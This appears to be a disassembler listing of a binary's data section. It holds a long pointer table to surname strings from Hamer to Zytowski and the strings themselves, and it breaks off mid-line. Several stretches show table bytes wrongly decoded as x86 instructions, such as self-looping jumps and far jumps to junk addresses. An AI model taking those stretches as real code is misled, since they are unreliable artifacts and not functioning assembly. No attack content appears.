"Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" ; --------------------------------------------------------------------------- mov esp, 0B40042FEh inc byte ptr [edx+0] mov al, 0FEh inc edx add [eax-5FFFBD02h], ch inc byte ptr [edx+0] cwde inc byte ptr [edx+0] nop inc byte ptr [edx+0] mov dh, bh inc edx add [eax+780042FEh], al inc byte ptr [edx+0] loc_42DED4: ; CODE XREF: ___:loc_42DED4j jo short loc_42DED4 inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ah inc byte ptr [edx+0] sbb dh, bh inc edx add [esi+edi*8], cl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" db 0F8h ; --------------------------------------------------------------------------- loc_42E1A1: ; CODE XREF: ___:0042E1A8j test dword ptr [edx+0], offset aMontilio ; "Montilio" loopne loc_42E1A1 inc edx add al, bl test dword ptr [edx+0], offset aMoreton ; "Moreton" ; --------------------------------------------------------------------------- dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" ; --------------------------------------------------------------------------- clc jmp short loc_42E721 ; --------------------------------------------------------------------------- align 10h dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E731 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-4FFFBD15h], bh jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h test al, 0EBh inc edx add [eax-6BFFBD15h], ah jmp short loc_42E74D ; --------------------------------------------------------------------------- align 4 mov ebx, gs inc edx add [eax+780042EBh], al jmp short loc_42E759 ; --------------------------------------------------------------------------- align 4 dd offset aUrban ; "Urban" ; --------------------------------------------------------------------------- pusha jmp short near ptr loc_42E760+1 ; --------------------------------------------------------------------------- align 10h pop eax loc_42E721: ; CODE XREF: ___:0042E6DDj jmp short loc_42E765 ; --------------------------------------------------------------------------- align 4 dd offset aUzuner ; "Uzuner" ; --------------------------------------------------------------------------- dec eax jmp short loc_42E76D ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 38h ; --------------------------------------------------------------------------- loc_42E731: ; CODE XREF: ___:0042E6EDj jmp short loc_42E775 ; --------------------------------------------------------------------------- align 4 sub al, 0EBh inc edx add [ebx+ebp*8], ah inc edx add [eax], bl jmp short near ptr byte_42E781 ; --------------------------------------------------------------------------- align 10h db 10h ; --------------------------------------------------------------------------- loc_42E741: ; CODE XREF: ___:0042E6FDj jmp short loc_42E785 ; --------------------------------------------------------------------------- align 4 dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" db 0F0h ; --------------------------------------------------------------------------- loc_42E74D: ; CODE XREF: ___:0042E709j jmp far ptr 42h:0EAE00042h ; --------------------------------------------------------------------------- aam 0EAh inc edx add al, cl loc_42E759: ; CODE XREF: ___:0042E715j jmp far ptr 42h:0EAC00042h ; --------------------------------------------------------------------------- loc_42E760: ; CODE XREF: ___:0042E71Dj mov eax, 0AC0042EAh loc_42E765: ; CODE XREF: ___:loc_42E721j jmp far ptr 42h:0EAA00042h ; --------------------------------------------------------------------------- xchg eax, esp loc_42E76D: ; CODE XREF: ___:0042E729j jmp far ptr 42h:0EA880042h ; --------------------------------------------------------------------------- db 7Ch ; --------------------------------------------------------------------------- loc_42E775: ; CODE XREF: ___:loc_42E731j jmp far ptr 42h:0EA700042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" db 60h byte_42E781 db 0EAh, 42h, 0 ; CODE XREF: ___:0042E73Dj ; --------------------------------------------------------------------------- pop eax loc_42E785: ; CODE XREF: ___:loc_42E741j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E868o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E864o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042E860o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E85Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E858o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E854o aZegans db 'Zegans',0 ; DATA XREF: ___:0042E850o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E84Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E848o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E844o aYu db 'Yu',0 ; DATA XREF: ___:0042E840o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E83Co align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E838o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E834o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E830o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042E82Co align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E828o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E824o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042E820o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E81Co aYankee db 'Yankee',0 ; DATA XREF: ___:0042E818o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042E814o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042E810o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042E80Co align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E808o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E804o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042E800o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7FCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042E7F8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7F4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7F0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7ECo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7E8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7E4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7E0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7DCo aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7D8o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7D4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7D0o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E7CCo align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E7C8o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E7C4o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E7C0o aViens db 'Viens',0 ; DATA XREF: ___:0042E7BCo align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E7B8o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E7B4o aViano db 'Viano',0 ; DATA XREF: ___:0042E7B0o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042E7ACo align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E7A8o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E7A4o align 4 aWhite db 'White',0 ; DATA XREF: 